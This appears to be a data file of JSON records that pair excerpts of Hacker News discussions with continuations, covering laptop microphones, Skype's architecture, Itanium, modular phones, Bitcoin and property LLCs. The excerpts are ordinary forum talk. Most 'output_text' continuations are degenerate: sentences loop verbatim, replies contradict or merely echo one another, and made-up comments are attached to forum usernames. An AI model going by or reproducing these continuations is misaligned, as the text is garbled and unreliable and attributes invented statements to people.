swaps for global trade.\n\nBut one thing I know for sure. Software is eating the world. You either choose\nto ride that wave, or you get eaten by it.\n\n \n\nHow One Business Guy Earned the Opportunity to Co-Found a Tech Startup - jasonshen\nhttp://www.jasonshen.com/2012/the-story-of-how-a-business"} +{"output_text": " I used a piece of tape to stick\nthe stripes to the bottom of the laptop.\n\nIt works pretty well, but I'm not sure if it's the best solution.\n\n~~~\njoshu\nI have a similar solution, but I use a piece of tape to stick the magnets to\nthe bottom of the laptop.\n\n------\njoshu\nI have a similar solution, but I use a piece of tape to stick the magnets to\nthe bottom of", "input_text": " with them, and by not buying laptops without them [which may be\ndifficult to bootstrap now, given that almost no laptop has a hardware on/off\nswitch anymore]).\n\n~~~\njcadam\nI've found many of those supposedly 'hardware' wifi kill switches were\nsoftware controlled (When I installed Linux on an old Dell, it completely\nignored the state of the wifi switch).\n\nI want a switch that physically cuts power to a device, but no... :(\n\n------\nHilyin\nI guess this is just as good place as any to bring this up. In current OS X,\nyou cannot disable your mic. You can turn down the input volume, but never\ndisable. All malware needs to do is raise the input volume and it can listen\nto you to its hearts content.\n\nAnd its worse with your iPhone.\n\n~~~\nthe_common_man\nCan someone confirm if this is actually true? Sounds too far fetched that you\ncannot disable the mic (i.e not muting, I assume?).\n\n~~~\nHilyin\nJust look around on the internet, you'll find the same thing. I researched\nthis a few weeks ago and was amazed.\n\nYou basically have to disable the audio driver in OSX to disable it, and doing\nthat, means you can't play audio at all. And even that isn't enough, it\ntechnically can be hijacked at an even lower level.\n\n------\nssebastianj\nI was looking for a way to cover the mics and webcam integrated in my laptop\nwhich doesn't require a tape. So, I grabbed a couple of those magnets stripes\nusually found on fridges and then, using a scissor, made two little\nrectangular stripes and a larger one. Next,"} +{"output_text": " chats, but I did not see any\nsign of centralization.\n\n~~~\njlgaddis\nI'm not sure what you're trying to say here.\n\nIf you're talking about the \"Skype for Business\" product, then yes, it's\ncentralized.\n\nIf you're talking about the \"Skype for Windows\" product, then no, it's not.\n\n~~~\nthrowawaykf05\nI'm talking about the \"", "input_text": "Intriguing that this renders Tor essentially transparent in some contexts -\nthat could almost seem by design.\n\nI would have commented on your tinfoil hat, except for what Microsoft did to\nSkype post-acquisition:- Completely rewriting its protocol architecture from\none which was P2P with end-to-end encryption and practically impossible to\nwiretap or monitor, to a centralized architecture (ostensibly for scalability\nreasons) which made it much more easier to wiretap or obtain metadata.\n\n[http://www.zdnet.com/article/skype-ditched-peer-to-peer-\nsupe...](http://www.zdnet.com/article/skype-ditched-peer-to-peer-supernodes-\nfor-scalability-not-surveillance/)\n\n[http://www.theguardian.com/world/2013/jul/11/microsoft-\nnsa-c...](http://www.theguardian.com/world/2013/jul/11/microsoft-nsa-\ncollaboration-user-data)\n\nHere's a choice quote from the above article.\n\n\"In July last year, nine months after Microsoft bought Skype, the NSA boasted\nthat a new capability had tripled the amount of Skype video calls being\ncollected through Prism;\"\n\n~~~\nthrowawaykf05\nWhen I heard about the \"re-centralization\" of Skype, I ran an experiment. I\nset up calls with a couple of people in various locations and monitored my\nnetwork connections (on OSX I used nettop). Voice and video traffic is still\ndirect P2P. It was the same when I tried it again last year. Not that I did\nnot investigate messaging connections, nor group"} +{"output_text": " didn't work out.\n\n~~~\nghaff\nI think it's fair to say that Intel was pretty much the only company that\nreally had a good idea of what they wanted to do with 64 bit.\n\n------\njandrese\nI'm not sure why they are so worried about the performance of the new\narchitecture. It's not like they are going to be running a lot of code that\nneeds to be super fast.\n\n~~~\njandrese", "input_text": " probably be in a similar place had Intel just decided\nItanium was a bad idea from the start.\n\n~~~\nchx\nWhat...? Yamhill was an _answer_ to AMD64. The first rumors appeared in 2002\nwhere AMD announced AMD64 in 1999, released the full specs in 2000 and\nactually shipped the first Opteron CPU in 2003 April, Intel shipped the Nocona\nin June 2004. This trailing remained for a while -- LAHF/SAHF in 64 bit was\nshipped in March 2005 by AMD but only December 2005 by Intel.\n\n~~~\nghaff\nWell sure. Intel much preferred Itanium to succeed. Absent AMD, it\u2019s possuble\nItanium would have muddled through in the end. (Or something completely\ndifferent would have played out.)\n\nit\u2019s safe to say that Intel has some sort of contingency plan going back quite\na while. Some analysts even thought they saw features in Pentium that\nsuggested 64-bit readiness.\n\nBut it wasn\u2019t until Opteron\u2019s success and its adoption by esp. HP and Dell\nthat Intel felt they needed to make their 64 bit extensions plan public.\n\n~~~\nFullyFunctional\nYou are correct. What people don't seem to appreciate are the internal\nconflicts within large organizations. There were in fact massive internal\nconflicts at Intel between the Itanic and the legacy. Companies that large\ndoesn't \"think with a single brain\".\n\nRandom aside: Itanic was HP's brainchild that was adopted and refined at Intel\n(and far from all of Intel was excited about that). Having experienced a VLIW\nthat _didn't_ suck (the internal engine of Transmeta's Astro 2/Efficieon) I'm\nsad that EPIC/Itanic"} +{"output_text": "\nI think you're right, but I think the problem is that the phone is the\n\"computer\" of the future.\n\nI think the problem is that the phone is the \"computer\" of the future.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. It's a phone that has\nsome cool features but is still a phone. I don't see how this is a \"breakthrough\nin technology\" or \"game", "input_text": " things like sustainability and repairability.\n\n------\nori_b\nI'm not surprised. I can't think of any way for it to actually be better for\nday to day use than a monolithic smartphone.\n\nMy biggest surprise is that it was still chugging along until now.\n\n------\nwibr\nI always thought that Ara might be a useful platform not so much for\nsmartphones but for all those hand-held custom devices, you could plug in a\ncredit card reader, laser, special cameras, voltmeter or whatever you need.\n\n~~~\nRetra\nBut next to nobody needs those things.\n\n~~~\nNullabillity\nBut just about everyone has _some_ such need, as well as components they\ncouldn't give less of a shit about (the camera comes to mind, for me). The SoC\nis the expensive part that would need the economies of scale, but sadly there\ndon't seem to be that many options in that space anyway.\n\n------\noptforfon\nIf it came out tomorrow it'd be 10 years too late. Cellphones seem to have hit\na plateau. All the parts are now good enough in a cheap phone that no one\nreally needs this.\n\nI got a $150 aluminum phone with a huge battery, nice enough camera,\nfingerprint scanner, 3GBs of RAM, expandable storage, etc. etc.... I don't\nfeel like I need expansion options. What can the higher-specs really offer now\na days?\n\nSamsung has the right idea, maybe we'll need better phones for VR. Or maybe\nbuilt in picoprojectors will be a game changer. But for that you'll need a\nwhole new phone - not just a module snaps on.\n\n~~~\ncubano"} +{"output_text": ") doesn't mean he doesn't understand\nthe concept of 'drink'.\n\nI'm not saying the dog doesn't understand the concept of 'drink', I'm saying\nhe doesn't understand the concept of 'drink' in the same way humans do.\n\n------\njrockway\nI think the problem is that the dog is not a human.\n\n~~~\nelectromagnetic\nI think the problem is that the dog is a dog.\n\n~~~\n", "input_text": " with pleasure roads where people\ncould park freely and enjoy the area, now it's commonly a synonym for any\ngeneral highway. Freeways were actually speed-limit-free highways, the 'free'\nnever had anything to do with cost until the very late 20th century. An\nexpressway was designed as a high-speed arterial road, which may have a\nlimited number of driveways.\n\n~~~\ngnaritas\nNone of that addresses the issues of whether the dog understands. Yes, humans\nhave a higher level of understanding in the sense that we understand\nabstractions, but our greater abilities in that area don't disqualify the\ndog's simpler ability from being called understanding.\n\nIf the dog can tell the difference between being told to fetch the paper vs\nfetch my shoes, then he understands.\n\nBeyond that, the statement...\n\n> their brains are merely receiving a signal and performing an associated\n> action\n\nEqually applies to humans; our brains just have a more complex form of\nassociation. There is no inherent meaning to any of the noises we make that we\ncall words other than they're associated to something. Your associations to\nthose noises is far more complex than the dogs, but you can't call yours\n_understanding_ and not his; his understanding is simpler, but if he performs\nthe correct trick, then he understands the word in the same sense you do, he\nassociated some kind of meaning to that word, just like you do.\n\n~~~\nelectromagnetic\nThat's fair to say. Any comprehension is understanding even if it is just rote\nlearning of single words to commands.\n\nYou're right, just because the dog doesn't understand 50+ words for 'drink'\n(water, coke, pepsi, coffee, tea, etc etc"} +{"output_text": " payments.\n\nI'm not sure if this is a problem with the payment providers or the\nintegrators, but it's a problem that I've been trying to solve for years.\n\n~~~\nsmsm42\nI think it's a problem with the payment providers, not the integrators.\n\n~~~\npeteforde\nI think it's a problem with the integrators, not the payment providers.\n\n------\nsmsm42\nI'm not", "input_text": "obo\nAh, I misunderstood your comment sorry - I thought you meant recommendations\nfor installing _PHP_ + some web server in general, not nextcloud specifically!\n\n------\nfortran77\nWow! I'm glad I saw this today. The server we use to host our corporate blog\nwas vulnerable. I updated the php-fpm to the latest and I think I'm OK now.\n\n------\nEGreg\nFunny that php5 is safe from it\n\n~~~\nsmsm42\nActually not, it's safe from the exploit published, but not from the actual\nbug.\n\n------\ncutler\nInteresting to see the exploit written in Go. Proof, maybe, that Go has\nfinally landed.\n\n~~~\ncnst\nI noticed that, too. Including a `go get` instruction to get it, no less.\n\n \nAsk HN: So, what is your problem? - leftnode\nWe're all aware that if we're going to spend time building software, it should actually solve someones problem.

We also know that ideas are easy to come by, but solvable problems are harder.

So, what is your problem that needs solving? Either you'll get a response to something you didn't know existed that solves your problem, or someone might start working on a solution for it.\n======\npeteforde\nI have a major frustration with payment providers \u2014 even contemporary players\nlike Stripe \u2014 that can't offer a 3rd party payments system. That is, anything\nresembling a \"marketplace\" where you sell things on behalf of someone else,\ntake a cut and pass on the rest to the content creator requires the integrator\nto come up with a half-assed payout pipeline. This often results in sending\ncheques and/or making PayPal"} +{"output_text": " \"Windows\".\n\n~~~\nfriendlyghost\nI'm not sure what you mean. I'm not talking about Windows. I'm talking about\nother platforms.\n\n~~~\npjmlp\nI am talking about other platforms, like Linux, OSX, Android, iOS, etc.\n\n~~~\nfriendlyghost\nI'm talking about other platforms, like Windows.\n\n------\njosteink\nI'm not sure if I'm missing something, but what", "input_text": " pushing Vulkan as well, rather than their\nown \"quite similar\" APIs?\n\n~~~\nConst-me\n> MS can't (at least) throw their weight behind that, rather than wasting time\n> on WSL?\n\nI don\u2019t know the answer to that, I\u2019m unrelated to MS, not even on the same\ncontinent. But I have an idea why. Because outside Android, Linux GPU stack is\na mess. Maybe Vulkan will fix it, but it\u2019s not happened yet. I\u2019m just not sure\nit\u2019s possible to build a good product on top of that.\n\nBut they sure can build a single cross-platform GUI library for Windows, OSX,\nand mobile platforms. And I hope they will.\n\n> why aren't Microsoft (and Apple) pushing Vulkan as well, rather than their\n> own \"quite similar\" APIs?\n\nApple released Metal in 2014. MS released DX12 in 2015. Vulkan was first\nannounced in 2015, and they released 1.0 version of the spec only in 2016.\nThat\u2019s why.\n\n------\nfriendlyghost\nYet another package manager for Linux/MacOs to put yet more duplicates of\nalready packaged software on our disks. As a solution for Windows, vcpkg fills\na gap (I use it myself). For other platforms, this just adds more waste.\n\nAnd the first thing it does on Ubuntu 16.04 is to force me to install g++-7\nfrom the toolchain ppa. So now presumably I have to link everything statically\n(ever tried that with gtk?) or the users of my software will have to install\ng++-7 too?\n\n~~~\npjmlp\n\"For other platforms\" is not a synonym for"} +{"output_text": " is a win.\n\n~~~\nIBM\nI agree, but I think the problem is that Google is not a magical place. It's\njust a place where people work.\n\n------\njoshstrange\nI'm not sure I agree with the premise of this article. I think the author is\nmissing the point of the article.\n\nThe author is saying that Google is a company that is not afraid to make\nmistakes and that they are willing to admit them", "input_text": "...](https://en.wikipedia.org/wiki/Apple_Inc._litigation#iPod_battery_life_class_action)\n\nIt was the 2000s, 2005 was the settlement date, iPods didn't exist in the\n1990s. They didn't lose, strictly speaking, they settled (which is not the\nsame as admitting fault). Settling lets them save face, even if they may not\nhave had a liability, by not dragging their name through the muck with regards\nto the poor performance of the batteries and iPods.\n\n------\nIBM\nI've speculated for a long time that basically anything interesting Google\nsays they're doing is essentially meant to be a jobs program to keep employees\nfrom leaving, PR for external stakeholders like investors, media, being\nattractive to potential employees, etc. They seem to have lots of formal ways\nto keep employees from leaving/close as well including investments off of\nGoogle's balance sheet (not GV or Google Capital) into ex-employee startups\nand just flat out paying people not to leave (which is the arrangement I'm\nguessing that Matt Cutts is under). It all seems very Microsoft of old.\n\nCan anyone at Google (or ex-employees) tell me if this is true?\n\n~~~\nChuckMcM\nFlip it around, would anyone want to apply to Google if they weren't doing big\nvisionary things? I've met a lot of people who want to work at Google, not\nbecause anything they want to achieve in life is only possible if they do it\nwith Google's resources, but simply because \"It's a magical place.\" as Phil\nCoulson would say.\n\nSo whether or not it keeps people from leaving, if it is effective at getting\npeople to apply to Google first, it"} +{"output_text": " of evidence that the\nChristian apologists use.\n\n~~~\nlogicprog\nI'm not an atheist, but I think it's ironic that you're using the same\narguments that the Christian apologists use.\n\n~~~\nmicrowavecamera\nI'm not using the same arguments, I'm using the same arguments that the\nChristian apologists use.\n\n~~~\nlogicprog\nI'm not sure what you mean. I'm not an atheist, but I think it's", "input_text": "\ntend to stay away from the main subs and visit for very specific reasons.\n\nWe should make another forum-aggregator to replace reddit and it's terrible\nmoderation system, but it probably just won't get big enough.\n\n~~~\nFinch2193\nI have been patiently waiting for an alternative to Reddit. In this time, I\nhave been reading books, and hacker news. Going back to Reddit feels like an\nextreme regression.\n\nShould I give up on the hope that one day we'll see another, better Reddit?\nDigg died when they redesigned their site, I was hoping we'd see the same\nthing with reddit, rinse and repeat...\n\n~~~\nelektor\nThere is an offshoot of Reddit that I frequent and enjoy, it was made by a\nformer Reddit dev: [https://blog.tildes.net/announcing-\ntildes](https://blog.tildes.net/announcing-tildes)\n\nI've got 2 more invites for those are that interested.\n\n \nGraceful Athiest \u2013 What If I Grant You That? (2016) - logicprog\nhttps://gracefulatheist.wordpress.com/2016/11/26/what-if-i-grant-you-that/\n======\nlogicprog\nI'm a Christian but this is a particularly well thought out and fair anti-\napologetic piece. I thought it would be interesting to see what HN thought of\nit (as a long-time lurker :)\n\n------\nmicrowavecamera\nIn fairness of disclosure I'm not a Christian or an Atheist but I think it's\nironic every Atheist's argument I've read so far uses the exact same dubious\nlogic, unscientific reasoning and cherry picking"} +{"output_text": "\n~~~\nRmilb\nI agree, but I think the US and EU are the only places where Bitcoin is\nactually used.\n\n------\njoe_the_user\nI think the author is right that the \"real\" value of Bitcoin is in the\nspeculation.\n\nBut I think the author is wrong that the \"real\" value of Bitcoin is in the\nspeculation.\n\nThe \"real\" value of Bitcoin is in the fact that it is", "input_text": " predictions it will\ngo way higher, so it's deflationary.\n\nBitcoin holders will prefer to spend cash money to bitcoins anytime in\nspeculation of future gains.\n\nI see bitcoin more of a speculative investment at the moment, than a type of\ncurrency. Only the ones that are riding the bitcoin trains seems to think this\nis the future of money. Outside that bubble nobody really uses it.\n\n~~~\nRmilb\nI think its unfair to dismiss the currency aspect of bitcoin. The use case for\nthe developed world is 95% speculation 5% buying contraband online however,\nfor people in Venezuela[1], girls learning to code in Afghanistan[2], or women\nin Saudi Arabi who can't legally open a bank account, Bitcoin is solving\nproblems that under banked people have now. Of course the ecosystem needs to\nmature so grandma can use it safely, but that will come with time.\n\n[1] [https://www.cnbc.com/2017/08/24/bitcoin-mining-is-popular-\nin...](https://www.cnbc.com/2017/08/24/bitcoin-mining-is-popular-in-venezuela-\nbecause-of-hyperinflation.html) [2] [https://www.coindesk.com/how-bitcoin-\nhelps-afghan-girls-achi...](https://www.coindesk.com/how-bitcoin-helps-afghan-\ngirls-achieve-financial-freedom/)\n\n~~~\nmillettjon\nI think it has high utility anywhere outside of the US and EU. There are\nbillions of people that don't have access to stable currencies or reasonable\nbanking.\n"} +{"output_text": "-\nlist/blob/master/blns.txt#L6...](https://github.com/minimaxir/big-\nlist/blob/master/blns.txt#L629))\n\n~~~\nbluesign\nI know, I was just kidding :)\n\n------\njedberg\nI'm surprised that the \"+++\" is missing. I always thought that was a\nstandardized way to escape the command.\n\n~~~\nj", "input_text": "/blob/master/blns.txt#L627)\n\n------\nteddyh\nIt\u2019s missing the old \u201c+++\u201d for non-Hayes modems.\n\n~~~\nschoen\nI think that sequence is an escape for Hayes modems; do you mean that Hayes\nmodems were less vulnerable to attacks involving it because of their guard\ninterval feature?\n\n[https://en.wikipedia.org/wiki/Hayes_command_set#.2B.2B.2B](https://en.wikipedia.org/wiki/Hayes_command_set#.2B.2B.2B)\n\n~~~\nteddyh\nYes, exactly.\n\n------\nubernostrum\nRelated: a list of names that probably should be reserved (for example, to\nprevent someone setting up a user-profile page at a URL you don't want them to\ncontrol):\n\n[https://ldpreload.com/blog/names-to-\nreserve](https://ldpreload.com/blog/names-to-reserve)\n\n~~~\nchipperyman573\nAlternatively, put them in another path\n([https://facebook.com/user123](https://facebook.com/user123) ->\n[https://facebook.com/users/user123](https://facebook.com/users/user123))\n\n------\nljoshua\nLine 629 is a gem!\n\nThank you @minimaxir, I hadn't seen this before, this looks very useful.\n\n~~~\nbluesign\nline 629 is empty ;)\n\n~~~\nljoshua\nNo, wake up!!\n\n(For any who want to take the blue pill: [https://github.com/minimaxir/big"} +{"output_text": "storm\nI'm not sure if I understand your question.\n\nIBM has a lot of cell libraries, but they are not the same as the cell\nlibraries that the researchers have access to.\n\n~~~\nmicroarchitect\nI'm not sure if I understand your question.\n\nIBM has a lot of cell libraries, but they are not the same as the cell\nlibraries that the researchers have access to.\n\n------\njoezydeco\nI'm", "input_text": "list of gates. The second part,\nwhich I'm a little more familiar with, is \"decompiling\" these gates into\nhigher-level structures like ALUs and multipliers. The hope is that we can\nidentify maybe 80% of the circuit to be good/recognized using purely\nalgorithmic techniques and then a human can dig in and look through the\nremaining 20% for anything suspicious.\n\nThey do seem to be more concerned about chips the US buys from certain other\ncountries than about the likes Intel/AMD building in backdoors.\n\nEDIT: I should also mention that this is not just a concern of the american\ndefence. I'm aware of the indian govt also funding this sort of research with\nsimilar motivation. However, in this instance, the professor was trying to\nattack the problem through the lens of formal techniques. I think the idea was\nto prove that if the chip interacts with the outside world through these\nlimited set of channels then you can't sneak data out through some sort of\ncovert channel hiding in the \"regular\" communication. The specific concern\nhere was about routers/switches and the like equipment sneaking sensitive data\nout of a secure network.\n\n~~~\nsliverstorm\nDoesn't the government already make use of IBM's manufacturing capabilities\nfor Top Secret+ chips to try and mitigate the risk of this scenario?\n\n~~~\nmicroarchitect\nI'm not sure but I think you may be right because the researchers have been\ngranted access to some IBM cell libraries. (I was wondering why IBM agreed to\nthis, but this probably explains it.)\n\nMy understanding is that the main concern here are chips in COTS equipment\nbought from countries that are considered by some to be untrustworthy.\n\n~~~\nsliver"} +{"output_text": " a different thing.\n\n> These emotions exist outside of any deliberate human decision making or\n> social planning.\n\nI'm not sure what you mean by \"deliberate human decision making or social\nplanning\". I'm not sure what you mean by \"outside of\".\n\n> Even monkeys have evolved forms of altruistic behaviour\n\nI'm not sure what you mean by \"even monkeys\".\n\n> 'Ethics' in the sense of empathy and compassionate behaviour is", "input_text": " nature. The direst way to\nexpress this is that in a natural environment, the weak and the disabled are\nleft aside and die quickly, which we humans have decided to try hard to avoid.\n\nSo maybe a softer, more informal, \"stateless\" society like this Xeer could be\nvaluable. But if it was, it would be because it would better protect us from\nthe law of nature.\n\n~~~\nlogicchains\n>in a natural environment, the weak and the disabled are left aside and die\nquickly\n\nThis simply isn't true[1]. Humans evolved feelings like compassion because\nsuch cooperation and caring was beneficial to our survival. These emotions\nexist outside of any deliberate human decision making or social planning. Even\nmonkeys have evolved forms of altruistic behaviour[2]. 'Ethics' in the sense\nof empathy and compassionate behaviour is hence just as much a part of the\n'law of nature' as the more violent behaviours associated with it.\n\n1.[http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2864937/](http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2864937/)\n\n2\\. [http://www.motherjones.com/environment/2013/04/6-amazing-\nway...](http://www.motherjones.com/environment/2013/04/6-amazing-ways-animals-\nshow-compassion)\n\n~~~\nhumanrebar\n> Humans evolved feelings like compassion because such cooperation and caring\n> was beneficial to our survival.\n\nThat's a plausible hypothesis, but considering that it cannot be proven or\ndisproven, it is an ultimately uninteresting one. gbog was talking about\nsocial evolution, which is"} +{"output_text": " sending them out).\n\n~~~\nAdamGibbins\nThanks for the heads up. I'll keep an eye out for them.\n\n------\njoshu\nI'm in the UK, and I've been waiting for this for a while.\n\n~~~\njackowayed\nI'm in the US, and I've been waiting for this for a while.\n\n------\njoshu\nI'm in the US, and I've been waiting for this for a", "input_text": "ate uses a science called actigraphy to monitor your sleep patterns by\nmeasuring the movement of your body (via your wrist). Actigraphy has been used\nin sleep labs for decades and is a widely standardized metric of sleep in\nhumans (). The Sleep Cycle app,\nbecause it is not attached to your body, does not use actigraphy, and\ntherefore cannot provide the same granular level of data measurement as a\ndevice using actigraphy, such as the WakeMate. Furthermore, Sleep Cycle is\nsusceptible to false data collection since it can be easily influenced by the\npresence of others in the bed, such as a partner or pet.\n\n~~~\nmike_h\nIf you're willing to attach an iOS device to your body while you sleep\n(between two socks works great, or with an armband) you can try an actigraphy-\naccurate smart alarm with my app:\n\n[http://itunes.apple.com/us/app/circadian-\nalarm/id330721657?m...](http://itunes.apple.com/us/app/circadian-\nalarm/id330721657?mt=8)\n\nIt's a dollar in the store but email me at michael at programmablelife dot com\nand I'll give you a coupon so you don't have to pay.\n\n------\nAdamGibbins\nExcellent news, thanks!\n\nAny ETA on international pre-orders (I'm UK based), notice I haven't received\nan email asking me to pay yet.\n\n~~~\njackowayed\nI haven't gotten an email yet, and I'm in Delaware, US. So I think they\nhaven't sent them out yet (or at least haven't finished"} +{"output_text": " sue for wrongful\ntermination.\n\nThe probationary period is a way to reduce the risk of lawsuits. It's not a\nway to reduce the risk of being fired.\n\n~~~\njbooth\nI think you're right, but I think the probationary period is a way to reduce\nthe risk of being fired for poor performance.\n\nI think the probationary period is a way to reduce the risk of being fired for\npoor performance, but I think it's", "input_text": " are paid a premium, and\nget accustomed to the money, making them less apt to convert. This is\nparticularly troublesome for those that get their benefits through their\nspouse/partner, where the extra money seems substantial because they aren't\npaying for benefits or COBRA out of it.\n\nProbationary periods are rather useless in any at will employment state (in\nthe US, not sure about international law). Why put \"We can fire you in 90 days\nif you don't perform\" in an employment contract when you can simply fire\nsomeone on day 2 if you really wanted to? It seems like a decent motivational\ntool perhaps, but in markets like software it is just another reason for\ncandidates to potentially turn down work, where the alternative (no\nprobationary period and no expectation of even 90 days of work) is better for\nboth parties.\n\n~~~\nmichaelochurch\nThe probationary period is to reduce risk of lawsuits because at-will\nemployment is actually very complicated when it comes to subjective evaluation\n(i.e. all white collar work) and no one wants to cut a severance check for\nsomeone who is cut in the first 90 days.\n\n\"At-will\" means that companies have the right to execute strategic layoffs,\nand also to set performance standards whereever they wish, as long as they're\nuniformly enforced across that job description. (Both of these, I'd argue, are\nreasonable.) It doesn't allow companies to vary their performance standards\nfor different individuals, or to fire \"for any reason\". For example, if you\nwork for a 5,000-person company and you're fired for performance after failing\non one project and being denied transfer, and you can prove that someone else\nwas allowed transfer under the same circumstances, you can"} +{"output_text": "\n\n~~~\njessriedel\n> I still admire astronauts, and I've exposed all four of my children to books\n> and films about space exploration, but I'd be even more thrilled to see them\n> or other young people I know take on the exploration challenge of bringing\n> about improvement in the lives of their fellow human beings in the worst-\n> off parts of planet Earth.\n\nI think this is a great idea. I think it's a great", "input_text": " named after an astronaut just after the first moon landing, I\nthought it was completely natural to have the ambition to be the first man to\nset foot on Mars. I'm stunned that at this late date I could STILL be the\nfirst man to set foot on Mars.\n\nBut as I grew into adult life, and visited more than one country here on\nEarth, I began to think that it is an even higher and more challenging\nambition to go somewhere you are not constrained to go by desire for fame or\nfor riches or for being the first in a new territory, but rather by a desire\nto solve intractable problems. Solving a problem of long standing is a bigger\nachievement than solving a problem that is unsolved mostly just because no one\nhas found it worthwhile to solve it. Making any of the world's poorest\ncountries richer in general, or making any of the world's most oppressed\ncountries freer in general, is a problem for which some example solutions\nexist, just as traveling to other planets has some precedent in the manned\nmoon missions and in robot space probes, but I suggest it is actually a much\ntougher and more interesting problem, a problem more worthy of a gnarly man\nwilling to risk his life. I still admire astronauts, and I've exposed all four\nof my children to books and films about space exploration, but I'd be even\nmore thrilled to see them or other young people I know take on the exploration\nchallenge of bringing about improvement in the lives of their fellow human\nbeings in the worst-off parts of planet Earth. There is a lot of challenging\nscience involved in those problems, and the contributions to human knowledge\nthat will come from solving those problems will provide lasting benefit to all\nof humankind, whatever planet our descendants live on."} +{"output_text": "~~~\njlgreco\nI think the difference is that the former is a _natural disaster_ , while the\nlatter is a _man-made_ disaster.\n\n~~~\nscribu\nI don't think that's a good distinction. The difference is that the former\nhappens because of a natural disaster, while the latter happens because of\nhuman action.\n\n~~~\njlgreco\nI think you are right, but I think the distinction is that", "input_text": " best way to improve the lives of Haitians is obviously to help them\nemigrate but they're quite, quite motivated to do that already.\n\n~~~\npleeze\nThe best way to help a nation is not to help the population flee their\notherwise workable location. As others have stated, it's not politically\ncorrect to state the obvious: local rule has utterly failed. British or\nAmerican occupation has always been the best option based on factual national\nstatistics.\n\n~~~\nbarry-cotter\nFuck the nation, if we want to help the people of Haiti we absolutely should\nhelp them flee their location. It may be a workable nation for the Dominican\nRepublic but it clearly isn't for Haiti.\n\nAmerica is politically incapable of a long term occupation, look at Iraq or\nAfghanistan. Real nation building would require running a country in a\nprofoundly undemocratic way for at the very least a decade, more likely two or\nthree. The US isn't even capable of winning a war of occupation given the\npolitical constraints it operates under. If they had the support of 60% of the\npopulation for a thirty year and 0.1% protested against it they wouldn't do\nit. Russia or China might, at a push Singapore, but a Western country? Give me\na break.\n\nAnd don't be a coward with your throwaway. dang may have bowed to pressure\nwith the shut up or be banned to yummyfajitas Chris Stucchio but nothing will\never change if we're all cowards.\n\n------\nscribu\nReading about how people cope after being displaced by a natural disaster felt\nso different than reading about people voluntarily abandoning their homes to\nform communes. The latter shuns authority, while the former actively seeks it.\n\n"} +{"output_text": "\nheat exchanger.\n\n~~~\nrntz\n> The problem only happens when no one bothers to learn how something works.\n\nI don't think that's true. I think the problem is that we don't have a good\nway to measure the quality of life of people who don't have the ability to\nunderstand the workings of a refrigerator.\n\n~~~\nsmegger001\nI think you are right, but I think the problem is that we don", "input_text": " have thoughts that are impossible without.\"_\n\nI posit this post tangentially explains the nagging feeling that many\nparents[1] experience when their children struggle with mathematics. The\nbenefits of basic language literacy are clear, but follow-on analogies such as\nthe above emphasize a point of view concluding that an inability to attain\nmathematical fluency excludes the next generation from any implied augmented\nintelligence benefits.\n\nThe extrapolated message would be that mathematically disinclined adults will\nthen be completely unable to comprehend certain important thoughts in [insert\narcane, highly-specialized technical field].\n\nRegarding the question posed by the title and last sentence in the blog post,\nI'm not sure why the thrust is framed as an XOR, and not as an AND. It's not\nlike we can't focus on both IA and AI at the same time.\n\n[1] Anecdata warning: I am a parent. I have this nagging feeling.\n\n~~~\nrntz\n> an inability to attain mathematical fluency excludes the next generation\n> from any implied augmented intelligence benefits.\n\nWell, only in some ways. I don't have to understand how a refrigerator works\nin order to use it. Improvements in quality of life produced by use of\naugmented intelligence ought to be accessible even to those without it.\n\n~~~\nsmegger001\nThe problem only happens when no one bothers to learn how something works.\nLook at all of those big iron systems out there that few people know how to\nprogram, there is reason Cobol and Fortran programmers still make good money.\n\nOh and refrigeration is simple, it is just an application of the ideal gas law\nPV=nRT, and a pump. Refrigerant is compressed then cooled through use of a"} +{"output_text": ", I was working at a small company in the UK. I was the only\ndeveloper and I was working on a project that was going to be released in\nabout a month. I was working on a project that was going to be released in\nabout a month. I was working on a project that was going to be released in\nabout a month. I was working on a project that was going to be released in\nabout a month. I was working on a project that was going", "input_text": "om-yorke-confirms-ok-\ncomputer-is-nerdy-as-shit)\n\n~~~\ndwd\nNaming a song Paranoid Android (my personal all-time favourite) was pretty\nobvious, though it is not about Marvin. I do dispute his opening statement -\nOk Computer was their best album and one of very few albums that you can just\nleave on repeat without skipping tracks.\n\n------\nneonate\n[https://archive.md/m1Pnl](https://archive.md/m1Pnl)\n\n------\nAJCxZ0\nTV Series available on Amazon Prime at\n[https://smile.amazon.com/gp/video/detail/B07CGTY13F](https://smile.amazon.com/gp/video/detail/B07CGTY13F)\n\nRadio series CD box set available in my car's changer, currently on disc three\nof the Tertiary Phase.\n\n------\ncagenut\nman if only he knew what digital watches turned into\n\n~~~\ndboreham\n\"The Book\" surely?\n\n~~~\nspongeb00b\nI would love to know what Douglas would think of the modern smartphone.\n\nI\u2019ve also always wanted to laser engrave \u201cDON\u2019T PANIC\u201d in large friendly\nletters on the back of my phone\n\n------\nalblue\nThe BBC are re-releasing the episodes as from tonight:\n\n[https://www.bbc.co.uk/programmes/m000g55m/episodes/guide](https://www.bbc.co.uk/programmes/m000g55m/episodes/guide)\n\n------\nmooze\nBack in 2004"} +{"output_text": "auce\nI think the problem is that the fines are too low.\n\n~~~\nstanferder\nI agree. I think the fines should be increased to the point where the\ncorporation is forced to pay them.\n\n~~~\nbarbecue_sauce\nI think the problem is that the fines are too low.\n\n------\njedberg\nI'm not sure how this is a problem.\n\nIf you're a criminal, you're going to", "input_text": "must-change-quickly-spotify-threatens-to-\nleave-the-country/)\n\n------\nbkohlmann\nThere\u2019s no doubt these laws can be used to maximize gains by nefarious\nindividuals.\n\nAt the same time, the ability to hold a property as an LLC, thus limiting\noverall liability to the property value alone in the case of a lawsuit,\nincentivizes more individual investors to purchase rental real estate. In many\ninstances these assets help facilitate retirement savings that are more stable\nthan market securities.\n\nI\u2019m all for transparency - and it\u2019s likely the increase in LLCs could be\nattributable to more savvy, legitimate investors rather than only attracting\nwrongdoers.\n\n~~~\nstanferder\n>...limiting overall liability to the property value alone\n\nLLCs don't limit liability resulting from negligence, malpractice, or other\npersonal wrongdoing, which may be germane in a lawsuit over something besides\nunpaid debts.\n\n[https://www.nolo.com/legal-encyclopedia/limited-liability-\npr...](https://www.nolo.com/legal-encyclopedia/limited-liability-protection-\nllcs-a-50-state-guide.html)\n\n------\nstanferder\nWouldn't it make more sense to simply fine the LLCs for their misdeeds, and\nconfiscate the properties if the fines go unpaid?\n\nIt is already kinda deranged that one's name and other details become public\nrecords in many states as soon as you buy property or start a company.\n\nEDIT: Surprising number of downvotes in a forum that often focuses on 